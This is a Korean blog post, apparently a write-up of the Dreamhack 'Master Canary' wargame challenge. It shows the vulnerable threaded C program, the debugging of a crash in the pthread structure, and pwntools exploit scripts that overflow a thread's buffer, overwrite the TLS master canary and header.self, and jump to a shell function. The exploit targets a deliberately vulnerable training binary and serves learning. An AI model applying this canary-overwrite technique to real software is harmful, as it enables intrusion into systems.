본문 바로가기

시스템해킹

[드림핵] Master Canary 풀이

 

이번 문제는 canary를 단순히 leak하는게 아니라

canary base인 master canary값을 변조하는 문제이다

 

 

 

문제코드

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

문제 코드를 보면 main에서 pthread_create 함수를 실행시키고

thread_routine 함수를 실행시킨다

이때 thread_routine에 함수에서 입력사이즈를 지정할 수 있기 때문에

overflow를 발생시킬 수 있다.

 

이때 master canary 주소와 buf 주소와의 차이를 계산해

master canary값을 변조해야 한다

 

 

 

 

stack frame

 

 

 

fs_base 디버깅

thread_routine+8에 bp 설정

 

 

각각 master canary 주소값과

buf의 주소값 그리고 차이값이다

 

이를 활용해 처음 payload를 작성했다

 

 

 

초기 payload

from pwn import *
p = process('./mc_thread') # buf부터 master카나리 offset 0x928 2336
#p = remote('host1.dreamhack.games',10133)
e = ELF('./mc_thread')

payload = b'a' * 280
payload += p64(e.symbols['giveshell'])
payload += b'a' *(0x928 - len(payload))
payload += b'a' * 8

num = len(payload) // 8

p.sendlineafter('Size: ', str(num))
p.sendafter('Data: ', payload)

p.interactive()

a로 더미값과 canary값을 통일시켰다

master canary 위치에도 동일하게 진행했다

 

SIGSEGV 오류가 나오는데

오류가 나오는 원인을 분석해보겠다

 

 

ulimit -c unlimited 명령어로 core dump 파일을 생성하도록 조치하였다

 

core dump 파일을 봤을 때 문제가 생기는 구간이

rax + 0x972에 값을 덮어씌워서 문제가 발생한 것으로 보인다

 

 

직접 라이브러리에서 문제되는 부분을 확인할 수 있게

dir로 glibc-2.35를 불러왔다

 

 

 

tui enable

self->canceltype = PTHREAD_CANCEL_DEFERRED 에 
어느 부분에서 문제가 생긴것으로 보인다

저곳에서는 thread가 유효한지의 값이 들어가야 하는것 같은데

a같은 값이 들어가니까 문제가 생긴듯 싶다

 

fs_base가 struct pthread 구조체이기 때문에 p를 사용해
찍어봤다

 

header.self에 값이 문제가 되는것으로 보인다

그렇다면 header.self에 값을 유효한 값으로 

넣어준다면 현재 보이는 문제를 해결할 수 있을 것으로 보인다

 

 

payload를 넣을 buf 위치와 header.self와의 거리 차이가 0x910만큼이다

 

 

vmmap으로 권한 있는 주소를 찾았다

 

 

 

최종 payload

from pwn import *
p = process('./mc_thread') # buf부터 master카나리 offset 0x928 2336
#p = remote('host1.dreamhack.games',10133)
e = ELF('./mc_thread')

payload = b'a' * 280
payload += p64(e.symbols['giveshell'])
payload += b'a' *(0x910 - len(payload))
payload += p64(0x404000 - 0x972)
payload += b'a' * 24

num = len(payload) // 8

p.sendlineafter('Size: ', str(num))
p.sendafter('Data: ', payload)

p.interactive()

buf와 header.self 주소차이 0x910

master canary와 주소차이 0x928

self값이 rax + 0x972에서 덮어씌워졌으니

vmmap에서 가져오는 주소값 - 0x972

 

master canary값 변조까지 한번에 a로 작성했다

 

 

 

결과

로컬과 원격에서도 동일하게 잘 작동한다

 

 

 

 

 

 

 

 

 

core dump파일을 실제로 사용하는지 몰랐는데

실제 환경에서 유용하게 사용할 수 있다는 것을 느꼇다

 

실제 라이브러리와 struct 구조를 실제로 확인하며

원리를 분석하고 문제를 푸니 과정이 매끄럽게 이해가 갔다

 

 

실제 파일을 직접 확인하면서 문제를 풀어보니

많이 어렵고 시간도 오래걸렸지만

매우 유용한 학습이 되었다.

'시스템해킹' 카테고리의 다른 글

[드림핵] __environ 풀이  (0) 2025.01.17
[드림핵] master_canary 풀이  (1) 2024.12.31
[드림핵] seccomp 풀이  (0) 2024.11.25
[드림핵] Bypass SECCOMP-1 풀이  (0) 2024.11.18
[드림핵] No mov풀이  (1) 2024.11.10